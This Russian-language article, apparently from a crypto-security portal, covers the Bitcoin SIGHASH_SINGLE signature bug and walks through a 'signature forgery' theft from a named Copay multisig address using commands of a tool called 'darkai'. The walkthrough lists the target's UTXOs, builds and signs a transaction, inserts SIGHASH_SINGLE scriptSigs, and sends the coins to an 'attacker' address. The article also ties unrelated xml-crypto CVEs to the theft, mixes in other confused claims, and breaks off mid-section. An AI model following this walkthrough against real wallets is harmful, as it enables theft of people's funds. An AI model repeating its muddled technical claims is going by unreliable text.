Этот мультиподписной набор оказался в центре внимания из-за уязвимости, выявленной компанией Coinspect. Уязвимость связана с особенностями использования в транзакциях типа подписи SIGHASH_SINGLE (0x03), при котором подпись охватывает все входы и ровно один выход транзакции с индексом, совпадающим с индексом входа. Важно отметить если выход с таким индексом отсутствует (а в некоторых случаях их меньше, чем входов), из-за бага Bitcoin хэш для подписи возвращается в виде целого числа «1». Это позволяет создавать транзакции, расходующие выходы без знания приватных ключей, что открывает дверь для кражи средств из мультиподписного кошелька.

Таким образом, публичный ключ 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 является ключевым компонентом уязвимого мультиподписного кошелька Copay, участие которого в составном redeemScript дает определённые преимущества с точки зрения безопасности, но вместе с тем стал объектом экспериментов и атак, иллюстрирующих важность корректной обработки всех типов подписей в Bitcoin.

Выполним команду в котором получим обработанные две цифровые подписи в формате DER, ассоциированные с указанным Биткоин-адресом:

!./darkai -decodesig 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

В итоге мы извлекаем результат:

decodesig = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]

Расшифровка цифровых подписей

В переменной sigs хранятся две расшифрованные подписи, полученные через функцию der_decode_sig из их DER-кодированной формы:

1. Первая подпись:

3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903

1. Вторая подпись:

304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803

Формат DER (Distinguished Encoding Rules) — стандартный способ кодирования структур для ECDSA-подписей в Bitcoin, который гарантирует уникальное и корректное представление параметров подписи r и s.

Уязвимость SIGHASH_SINGLE и ее суть

Проблема возникает, когда в транзакции число входов превышает число выходов. В этом случае для входа, чей индекс превышает последний номер выходов, отсутствует соответствующий выход, который мог бы подписать SIGHASH_SINGLE.

На практике реализация Bitcoin допускает ошибочное поведение — возвращается константа с числом один (int 1) вместо хеша транзакции. Это эквивалентно тому, что для подписи вместо вычисляемого хеша берётся фиксированное значение. Из-за этого злоумышленник может подделать scriptSig и использовать действительные подписи из другой транзакции для входов с отсутствующими выходами, повторно расходуя средства без знания приватных ключей.

Иными словами, атака позволяет создать транзакцию с одним выходом под контролем злоумышленника, расходуя входы из целевых транзакций, даже несмотря на отсутствие приватных ключей для подписи исходных выходов. Эта «повторная» подпись scriptSig становится легитимной для сети, что приводит к краже монет BTC.

Кошелек Copay — стал одним из первых выявленных жертв криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack). Анализ состояния транзакций показал, что:

• Использование SIGHASH_SINGLE позволяло злоумышленникам контролировать средства, распределённые на мультиподписном кошельке 2 из 3.

• Это означало, что два входа транзакций с индексами больше, чем количество выходов, могли быть фактически потрачены без приватных ключей.

• Кража происходила путём создания транзакции с единственным выходом на контролируемый злоумышленником адрес.

Пути минимизации угрозы и дальнейшее развитие протокола

1. Изоляция скриптов и виртуальная машина
   Предлагались решения по выделению отдельных виртуальных сред для мультиподписных кошельков, чтобы ограничить сферу воздействия возникающих уязвимостей.

2. Использование SIGHASH_ANYONECANPAY
   Этот дополнительный флаг позволяет более гибко регулировать, какие именно входы подпадают под подпись, что снижает риски неправильного связывания транзакций.

3. Softfork и внедрение новых sighash-флагов
   Современные предложения, такие как SIGHASH_NOINPUT и технические обновления для протокола, позволяют улучшить безопасность и гибкость транзакций второго уровня, например, в Lightning Network (LN-Symmetry, Eltoo).

4. Переход на схему подписей Шнорра и обновление Taproot
   Новые криптографические методы обеспечивают более надёжную и компактную защиту подписей и позволяют эффективнее реализовывать мультиподписи с минимальными уязвимостями.

Проблема с SIGHASH_SINGLE выявила критический недостаток в механизме подписей Bitcoin, раскрывающий возможность краже средств за счёт повторного использования подписей на входах без соответствующих выходов. Эта уязвимость стала важным уроком и толчком к развитию протокола, стимулируя разработчиков к внедрению более надёжных стандартов. Современные разработки в области Bitcoin, такие как новые sighash-флаги, softfork-обновления, Lightning Network и переход на более безопасные схемы подписей, направлены на предотвращение подобных атак и повышение безопасности пользователей.

Понимание такого уровня технических деталей крайне важно для разработчиков, операторов кошельков и экспресс-аналитиков, работающих с криптовалютами, чтобы обеспечить уверенную защиту активов в постоянно развивающемся пространстве блокчейн-технологий.

Неизрасходованные транзакционные выходы монет на Биткоин Адрес под контроль злоумышленника

Выполним команду, чтобы получить информацию о неизрасходованных выходах транзакций (UTXO), находящихся под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

!./darkai -unspent 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

Полученный результат:

В выводе содержится список из одного объекта, описывающего конкретный неизрасходованный транзакционный выход (output):

{
"output": "23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1",
"value": 300000
}

1. Неизрасходованный транзакционный выход (UTXO)

• UTXO — это «Unspent Transaction Output«, то есть выход транзакции, который ещё не потрачен и доступен для использования в новых транзакциях.

• В Bitcoin-сети средства хранятся именно в таких выходах.

• Каждая транзакция имеет один или несколько выходов, каждый из которых может содержать определённое количество сатоши — наименьших единиц Bitcoin.

2. Структура вывода

• output — строка, состоящая из двух частей:

  • 23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161 — это txid, идентификатор транзакции, в которой был создан этот выход.

  • :1 — индекс конкретного выхода (output index) в транзакции. В данном случае это второй выход, поскольку индексация начинается с нуля.

• value — значение выхода:

  • 300000 — объем средств в сатоши.

  • Перевод в биткоины: 300000 сатоши = 0.003 BTC

3. Значение для владельца адреса

• Данный UTXO находится под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

• Это значит, что данный пользователь или кошелек имеет право создать транзакцию, используя эти 0.003 BTC из указанного выхода.

• Доступ к использованию UTXO осуществляется путём создания входа (input) в новой транзакции, указывающего этот output в качестве источника средств, и предоставления корректной подписи.

4. Практическое применение

• Анализ и учёт UTXO позволяет:

  • Оценить баланс адреса.

  • Оптимизировать создание новых транзакций — например, выбирать UTXO для минимизации комиссий.

  • Обеспечить правильную агрегацию и расходование средств, избегая ошибок при подписании транзакций.

• Формировании новых транзакций с использованием этих UTXO;

• Оптимизации выбора выходов для экономии на комиссиях;

• Анализе других транзакций и адресов;

Команда ./darkai -unspent успешно выявила и вернула один законный неизрасходованный выход транзакции, который контролируется указанным биткоин-адресом. Объем доступных средств равен 0.003 BTC. Данный результат является актуальным состоянием бюджета владельца данного Биткоин адреса и служит основой для формирования и отправки будущих транзакций с использованием этих средств.

Неизрасходованные результаты транзакций к целевому Биткоин Адресу: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Запустим команду и получим данные о неизрасходованных выходах транзакций (UTXO), связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe которые содержат в себе определенные денежные средства в монетах BTC.

!./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Целевой адрес для атаки подделки цифровой подписи (Digital Signature Forgery Attack):

32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Расшифровка данных и каждого элемента:

1. Первый UTXO

• Transaction ID (txid): 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

• Output index: 0 (первый выход из транзакции)

• Значение: 677200 сатоши

Перевод в биткоины:677200/100000000 = 0.006772BTC

2. Второй UTXO

• Transaction ID (txid): bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

• Output index: 0

• Значение: 5000000 сатоши

Перевод в биткоины: 5000000/100000000 = 0.05BTC

Важно знать что, UTXO (Unspent Transaction Output) — это единичный выход ранее совершённой транзакции, который ещё не был использован для создания новой транзакции. Другими словами, это оставшиеся на счёте средства, которые можно потратить в будущем.

• Каждый UTXO содержит информацию, сколько сатоши на него приходится и из какой транзакции он произошёл.

• Чтобы потратить средства, необходимо использовать UTXO в качестве входа (input) в новой транзакции.

• Размеры UTXO влияют на сумму, которую можно потратить и на комиссию в сети.

1. Суммарный баланс адреса

С учётом приведённых данных суммарный баланс данного адреса составляет: 0.006772+0.05=0.056772BTC0.006772 + 0.05 = 0.056772BTC

Эти средства доступны владельцу адреса для последующих транзакций.

1. Выбор UTXO для транзакций

• При создании новой транзакции кошелёк выбирает из списка UTXO, какие именно использовать, чтобы покрыть требуемую сумму и комиссию.

• Иногда выгодно использовать несколько мелких UTXO или один крупный — в зависимости от ситуации и оптимизации комиссий.

Команда ./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe выявила два неизрасходованных выхода транзакции (UTXO), контролируемых указанным биткоин-адресом. Совокупный объём доступных средств — около 0.05677 BTC, что отражает текущее состояние баланса и доступные к расходованию активы. Эти данные являются ключевыми для любого процесса управления средствами: создания новых транзакций, учета баланса, оптимизации комиссий и обеспечения безопасности работы с криптовалютой.

Сценария создания и подписания транзакции Bitcoin с использованием мультиподписных выходов и SIGHASH_SINGLE

Рассмотрим обширный пример работы с Bitcoin-транзакциями на практике — начиная от получения неизрасходованных выходов (UTXO) нескольких адресов, формирования новой транзакции с использованием этих выходов, подписания входов транзакции с применением типа подписи SIGHASH_SINGLE, и заканчивая итогом — передачей всех BTC на определённый адрес. Особое внимание уделяется техническим деталям, которые важны для понимания уязвимостей и особенностей работы Bitcoin-клиентов с мультиподписными сценариями.

1. Получение неизрасходованных выходов (UTXO) для адресов

1.1. Биткоин адрес злоумышленника для присвоение денежных средств в монетах BTC:

addr = '1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'
unspent(addr)
# Conclusion:
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]

• Здесь содержится один выход, который не потрачен и доступен для использования.

• Значение: 300000 сатоши (0.003 BTC).

• На входы добавляются все три неизрасходованных выхода (UTXO) с обоих адресов.

• Для выхода выбран Биткоин Адрес 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3, куда будут отправлены все средства за вычетом комиссии.

outs = [{'address': addr, 'value': amount}]

3. Создание и подписание транзакции

3.1. Сборка новой транзакции (без подписей):

tx = mktx(ins, outs)

3.2. Подписание первого входа с использованием приватного ключа:

tx = sign(tx, 0, priv)
tx = deserialize(tx)

3.3. Вручную подставляем scriptSig для входов с использованием SIGHASH_SINGLE подписей:

tx['ins'][1]['script'] = '0048...53ae' # signing input 1 with multi-signature (SIGHASH_SINGLE)
tx['ins'][2]['script'] = '0048...53ae' # similar for input 2

• Эти scriptSig содержат две подписи, каждая из которых подписывает только свой соответствующий вход и соответствующий (один) выход (SIGHASH_SINGLE).

• В дополнение в scriptSig включён redeemScript с тремя публичными ключами мультиподписного кошелька.

4. Итоговая сериализация транзакции и отправка

!./darkai -serialize 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Эта транзакция тратит все три входа и отправляет средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

Итоговый результат:

tx = [{'791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf'}]

При этом фактически все BTC (в том числе с целевого адреса) были переведены под контроль одного адреса.

Даже при наличии мультиподписных сценариев (2 из 3), зная эту уязвимость, злоумышленник может эффективно похитить средства, создавая транзакции с едва ли заметными модификациями, используя SIGHASH_SINGLE. Указанный пример иллюстрирует такую атаку: собираются входы из нескольких Биткоин адресов (включая целевой), формируется транзакция с одним выходом к атакующему, и при этом транзакция валидируется.

По данным были отправлены средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 , где при помощи обработки не обновленной библиотеки xml-crypto для некорректных значении данных были совершенный манипулятивные транзакции из Биткоин кошелька: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , где в последствии были потерянный монеты на сумму: 0.059672 BTC на июль 2025 года эта сумма составляет: 7,052 USD

Заключение

В результате криптоанализа криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack) становится очевидным, что несмотря на высокую надежность базовых криптографических алгоритмов, такие уязвимости, как CVE-2025-29774 и CVE-2025-29775 в библиотеке xml-crypto и баг SIGHASH_SINGLE в протоколе Bitcoin, открывают злоумышленникам эффективные способы обхода механизмов аутентификации и кражи криптовалюты без приватных ключей. На примере атаки на мультиподписной кошелек Copay показано, как тонкости реализации криптографии и ошибки в проверке подписей приводят к потере средств и подрыву доверия к безопасности блокчейна.

Это четко демонстрирует, что устойчивость криптоплатформ зависит не только от криптографических алгоритмов, но и от правильной реализации и своевременного обновления компонентов, участвующих в проверке цифровых подписей.

• Безопасная процесс с Bitcoin требует корректного использования типов подписи SIGHASH.

• Как из UTXO нескольких адресов формируется совокупная входящая часть новой транзакции.

• Как создаётся и подписывается сложная мультиподписная транзакция с использованием флага SIGHASH_SINGLE.

• Как из-за известных особенностей Bitcoin протокола можно столкнуться с уязвимостью, ведущей к краже средств.

• Как итоговый результат: все BTC адресов оказались переведены на один контролируемый адрес.

• Внедрение улучшений в сигнатуры (например, Taproot и подписи Шнорра) направлено на устранение подобных проблем.

• Разработчики кошельков должны строго валидировать и обновлять компоненты формирования транзакций.

Для предотвращения подобных инцидентов необходимо немедленно устранять выявленные уязвимости, переходить на более безопасные алгоритмы (например, с SHA-1 на SHA-256), а также вводить комплексные методы оценки и усиления кибербезопасности, так как в эпоху стремительно развивающихся технологий и новых видов атак безопасность криптовалютных систем требует постоянного мониторинга, быстрого реагирования и комплексного подхода — только тогда можно будет гарантировать защиту цифровых активов и сохранить доверие пользователей к блокчейну.

Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

Продолжим вторую часть данной статье в первой части статьи подробно раскрывается важная криптографическая угроза — Digital Signature Forgery, которая представляет значительную опасность для безопасности Bitcoin-транзакций. Исследование включает глубокий анализ действительных инцидентов, среди которых рассматривается масштабная атака на мультиподписной кошелек Copay. Особое внимание уделяется уязвимостям в цифровых подписях и широко применяемой библиотеке xml-crypto, что позволяет злоумышленникам эксплуатировать слабые места в верификации транзакций.

Статья фокусируется на двух значимых проблемах безопасности: уязвимостях CVE-2025-29774 и CVE-2025-29775. Описан механизм, при котором атакующий, используя устаревшие версии библиотеки xml-crypto, способен обойти ключевые проверки, приводя к некорректной обработке транзакционных данных и риску утраты активов. Подробно рассмотрено, как теоретические аспекты эффективно реализуются на практике — включая конкретный пример взлома биткоин-кошелька 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, в результате которого в июле 2025 года были утрачены средства на сумму 0.059672 BTC (около 7,052 долларов США).

В материале предложены авторитетные рекомендации по усилению кибербезопасности криптовалютных платформ. Описаны современные методы предотвращения подобных атак, включая регулярное обновление библиотек, улучшение контроля цифровых подписей и внедрение дополнительных уровней верификации. Такой детальный разбор кейса и анализ развития угроз актуален для специалистов по информационной безопасности, разработчиков блокчейн-технологий и рядовых пользователей децентрализованных сервисов.

Понимание современных способов обхода защитных механизмов, а также следование представленным советам помогает минимизировать риски финансовых потерь и повысить устойчивость платформ к новым видам атак в быстро меняющемся цифровом мире.

Как работает структура выходного скрипта P2SH?

Рассмотрим указанный в результате десериализации скрипт:

OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL

Этот скрипт отличается от стандартного P2PKH тем, что вместо хэша публичного ключа в нем хранится хэш скрипта погашения (redeemScript) — набора условий, под которыми средства могут быть потрачены.

• OP_HASH160 — хеширует данные (в данном случае redeemScript) сначала алгоритмом SHA-256, а затем RIPEMD-160.

• 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хэш redeemScript.

• OP_EQUAL — проверяет, равен ли предоставленный redeemScript этому хэшу.

Процесс тратты средств по P2SH-выходу

Чтобы потратить такие средства, необходимо в входах (scriptSig) транзакции, ссылающейся на этот выход, передать:

1. Сериализованный redeemScript — исходный скрипт, условия которого закодированы в хэше.

2. Данные разблокировки — подписи или другие доказательства, которые удовлетворяют условиям redeemScript.

При обработке транзакции узлы сети:

• Хешируют redeemScript и сверяют с указанным в output хэшем.

• Если хэши совпадают (то есть OP_EQUAL возвращает true), то redeemScript десериализуется и выполняется.

• Транзакция признаётся действительной, если redeemScript выполняется корректно, т.е. все условия траты выполняются.

Таким образом, P2SH переносит ответственность за представление и проверку условий траты с отправителя (который создает требуемый скрипт) на того, кто тратит средства.

Преимущества и значение выбора такого механизма

1. Гибкость и сложные сценарии

P2SH позволяет создавать адреса с произвольными, часто многоуровневыми условиями — например, требование мультиподписей (2 из 3, 3 из 5 и т.д.), временные ограничения, логику распределения и многое другое. При этом отправитель просто отправляет средства на компактный хэш адрес, не вдаваясь в технические детали.

2. Экономия места

Вместо хранения полного скрипта в блокчейне, в транзакции хранится лишь его хэш. Это снижает нагрузку на сеть, уменьшает размер блоков и ускоряет проверку транзакций.

3. Повышение безопасности

Так как redeemScript раскрывается и проверяется только во время траты средств, это увеличивает конфиденциальность условий и усложняет попытки несанкционированного доступа. Использование криптографических хеш-функций гарантирует защиту от подделки и изменений — любое небольшое отклонение в скрипте приведёт к другому хэшу и отказу сети принять транзакцию.

4. Удобство для пользователей и программистов

P2SH стандартизирует и упрощает использование сложных смарт-контрактов в Bitcoin, упрощая интеграцию и повышая совместимость с множеством кошельков и сервисов.

Пример применения: мультиподписные кошельки

Классический пример — кошелек, который требует подписи двух из пяти участников для проведения транзакции. С помощью P2SH:

• В выходе указан хэш соответствующего скрипта.

• Чтобы потратить средства, нужно передать полный сценарий включения мультиподписи в scriptSig с подписями.

• Сеть проверяет соответствие хэшей и валидность подписей.

Это делает P2SH идеальным инструментом для корпоративных счетов, совместных хозяйств и других случаев, где требуется контроль доступа. Механизм Pay-to-Script-Hash (P2SH) является фундаментальной частью архитектуры Bitcoin, обеспечивая баланс между:

• Безопасностью (защита средств с помощью строгих условий и криптографии),

• Эффективностью (хранение только хеша, а не всех деталей),

• Гибкостью (поддержка любых, даже сложных условий траты),

• Удобством (простой формат адреса и стандарт доступа).

Криптоанализ извлечения первого входа транзакции (ins)

Запустим команду с целью получение информации об одном из входов (input) транзакции с хэшем 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. Анализ такого входа важен для понимания механизма авторизации расхода средств на уровне скриптов.

!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132

Результат извлечения первого входа транзакции (ins) представлен в следующем виде:

{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}

1. Подробный разбор компонентов ScriptSig (script)

• Значение поля script — это scriptSig, который используется для разблокировки соответствующего предыдущего выхода транзакции.

• Содержимое представляет собой длинную последовательность байтов в шестнадцатеричном формате.

• В данном случае это пятикомпонентный скрипт, включающий в себя:

  • Стандартные цифровые подписи (signature) согласно протоколу ECDSA, как правило, для подтверждения владения приватным ключом.

  • Публичные ключи, необходимые для проверки подписи.

  • Возможно, присутствует структура, указывающая на мультиподписные операции (несколько публичных ключей и подписей).

Анализ структуры скрипта:

• Начинается с 00, что в контексте scriptSig может означать OP_0, традиционно используемый в мультиподписных сценариях (например, в случае стандарта Pay-to-Script-Hash с мультиподписью, где необходима заглушка).

• Далее следуют подписи в формате DER (например, 3045...), обычно они состоят из серии байтов с деталями подписи.

• За подписями следуют публичные ключи (по длине и структуре — скорее всего в сжатом формате, т.к. около 33 байт), которые подтверждают принадлежность подписей к корректным владельцам.

• В целом, формат скрипта соответствует redeemScript или конструкция, характерная для P2SH мультиподписных транзакций.

2. Outpoint (outpoint)

• Содержит данные о предыдущем выходе, который используется в данном входе:

  • 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577' — это хэш предыдущей транзакции.

  • 'index': 1 — указывает на второй выход (нумерация с нуля), который используется для разблокирования.

• Таким образом, вход ссылается на конкретный выход предыдущей транзакции, доказывая, что автор транзакции имеет право его потратить.

3. Sequence (sequence)

• Значение 4294967295 (0xFFFFFFFF) является максимальным 32-битовым числом.

• В Bitcoin это поле послужит для обозначения, что вход не участвует в механизме Replace-By-Fee (RBF) или не имеет времени/блокировки по Relative Timelock.

• Часто используется по умолчанию для неподвижных входов.

Важность scriptSig в контексте безопасности

• ScriptSig представляет собой данные для разблокирования средств, которые защищены locking script предыдущего выхода.

• В случае P2SH транзакций (часто для мультиподписи) scriptSig содержит:

  • Подписи участников, подтверждающих право расхода средств.

  • Оригинальный redeemScript, хеш которого указан в locking script предыдущего выхода.

• Успешная проверка scriptSig гарантирует, что автор транзакции действительно обладает необходимыми полномочиями на распоряжение средствами.

Криптоанализ извлечения первого входа транзакции (ins) с указанным хэшем транзакции показал, что:

• Вход первой транзакции содержит сложный скрипт разблокировки, включающий цифровые подписи и публичные ключи.

• Используется ссылка на конкретный выход другой транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.

• Максимальное значение sequence говорит об отсутствии специальных блокировок или RBF.

• Предположительно, речь идёт о P2SH-мультиподписной транзакции, где, для подтверждения траты средств, требуется несколько подписей.

Таким образом, полученные данные позволяют глубже понять механику проверки прав траты средств, используются в обеспечении безопасности сети Bitcoin, а также в разработке и аудите смарт-контрактов на основе Биткоин-скриптов.

Подробный разбор результата извлечении второго выхода (outs)

Запустим команду, чтобы была получена информация об одном из выходов (output) транзакции с идентификатором ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.

!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577

Конкретно был извлечён второй выход (outs) этой транзакции, элемент с индексом 1.

Полученный результат:

{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}

1. Детальный анализ полученных данных значение поля value

• Величина: 350,000 сатоши.

• Данный объём средств находится во втором выходе указанной транзакции и может быть потрачен при выполнении условий, указанных в соответствующем скрипте.

• Перевод в BTC: 350,000 сатоши = 0.0035 BTC

2. Значение поля script

• Характеристика:
  Скрипт a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 является классическим locking script (scriptPubKey) формата P2SH (Pay-to-Script-Hash).

• Расшифровка скрипта:

  • a9 — OP_HASH160 — оператор, который применяет сначала SHA-256, а затем RIPEMD-160 к входным данным.

  • 14 — длина (20 байт) следующего значения — это размер хэша.

  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хэш, он же script hash — уникальное представление redeem script, который контролирует расход этих средств.

  • 87 — OP_EQUAL — оператор, который сравнивает два значения и возвращает true, если они равны.

Таким образом, скрипт требует, чтобы для разблокировки (траты средств) пользователь предъявил redeem script, хэш которого совпадает с этим значением.

Значение и роль redeem script в контексте P2SH

• Redeem script — это оригинальный скрипт, задающий условия траты средств, например, мультиподпись, сложный сценарий с ограничением по времени и т.п.

• В выходах транзакции хранится только хэш от redeem script, что экономит место и защищает детали условий.

• Для использования средств, вложенных в данный выход, при создании новой транзакции пользователь должен предоставить в scriptSig сериализованный redeem script, который корректно декодируется и проверяется сетью.

Общее значение результата

• Идентификатор транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 связан с выходом, который содержит 0.0035 BTC.

• Эти средства привязаны к P2SH-адресу, контролируемому скриптом с хэшем 06612b7cb2027e80ec340f9e02ffe4a9a59ba762.

• Для того чтобы израсходовать эти средства, необходимо предъявить redeem script, соответствующий этому хэшу, и выполнить условия, заложенные в нём.

Значение полученной информации в более широком контексте

• Этот результат позволяет подтвердить, что средства действительно находятся на выходе с условиями Pay-to-Script-Hash.

• Понимание структуры таких выходов важно для анализа безопасности, разработки сложных сценариев распределения средств и проверки условий расходования.

• Использование P2SH обеспечивает надёжный и эффективный механизм управления средствами в сети Bitcoin, позволяющий создавать умные контракты и защищённые кошельки.

Полученная информация подтверждает, что во второй выходной записи транзакции ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 хранится сумма 0.0035 BTC, контролируемая стандартным P2SH-скриптом с hash160 значением 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Для распоряжения этими средствами необходимо предъявить соответствующий redeem script, что обеспечивает высокий уровень безопасности и гибкости в управлении биткоинами.

Подтвердим расшифровку scriptSig:

OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Запустим команду для получение HASH160 разработчики Биткоина установили стандарт для 20-байтовый хэш (hex) который без изменение широко используется в других популярных криптовалютах таких как Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) для обозначения сокращенного идентификатора скриптов и публичных ключей.

Запустим команду:

!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

Процесс обработки:

1. Исходная строка, представленная в шестнадцатеричном формате, преобразуется в последовательность байтов (декодируется из hex в двоичный формат). Данная последовательность представляет собой сериализованный скрипт (redeem script) или схожую структуру биткоин-скрипта.

2. К полученным байтам применяется алгоритм хеширования SHA-256 (однократный хэш), результат которого далее обрабатывается криптографической функцией RIPEMD-160.

3. Итоговый хэш RIPEMD-160 от SHA-256 бинарных данных получается в виде строки:

06612b7cb2027e80ec340f9e02ffe4a9a59ba762

Этот 20-байтовый хэш (hex) называется HASH160 и широко используется в Bitcoin для обозначения сокращенного идентификатора скриптов и публичных ключей.

Значение и контекст результата

• Процесс хеширования RIPEMD-160(SHA-256(data)), известный как HASH160, является стандартом для создания адресов и скриптов в Bitcoin, включая P2SH (Pay-to-Script-Hash). HASH160 обеспечивает уникальный и компактный идентификатор, позволяющий экономить место в блокчейне.

• Применение двойного хэширования (SHA-256, затем RIPEMD-160) сочетается в себе сильные криптографические свойства обеих функций: стойкость к коллизиям, односторонность и устойчивость к атакам.

• Полученный хэш соответствует скрипт-хэшу (script hash) redeem script — то есть тому скрипту, который контролирует доступ к средствам, заблокированным по адресу P2SH.

• В частности, этот HASH160 фигурирует в locking script (scriptPubKey) выходов конкретных транзакций, что требует при тратах предоставить сам исходный redeem script с таким же хэшом и корректные подписи.

Технические подробности и пояснения

• В Bitсoin существует концепция двойного хэширования SHA-256 и RIPEMD-160 для защиты адресов и скриптов.

• Использование HASH160 вместо простой 256-битной выдачи SHA-256 уменьшает длину хэша с 32 байт до 20 байт, что уменьшает размер хранилища и данных в сети.

• HASH160 применяется при формировании преимущественно P2SH-адресов и legacy P2PKH-адресов.

Ключевой шаг в обработке Биткоин-скриптов с помощью криптографических хэш-функций.
Преобразование сериализованных скриптов или публичных ключей в HASH160 позволяет эффективно идентифицировать, индексировать и защищать данные в блокчейне Bitcoin.

Полученный хэш:

{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}

Команда вывела именно тот хэш, который служит связующим звеном между сложными скриптами и компактным форматом, применяемым при хранении и проверке транзакций в сети Bitcoin.

Почему Satoshi выбрал двойное SHA-256, и как это влияет на криптографическую стойкость

Сатоши Накамото выбрал использование двойного хеширования SHA-256 (то есть применение SHA-256 дважды подряд) в алгоритмах хеширования Bitcoin по нескольким важным причинам, которые усиливают криптографическую стойкость и безопасность сети.

Причины выбора двойного SHA-256

1. Повышение стойкости к различным атакам
   Однократное применение SHA-256 уже обладает высокой криптографической стойкостью, устойчиво к коллизиям и предобразам. Однако двойное применение хеш-функции — сначала SHA-256 к исходным данным, затем SHA-256 к результату — дополнительно усложняет анализ и атаки на хэш.
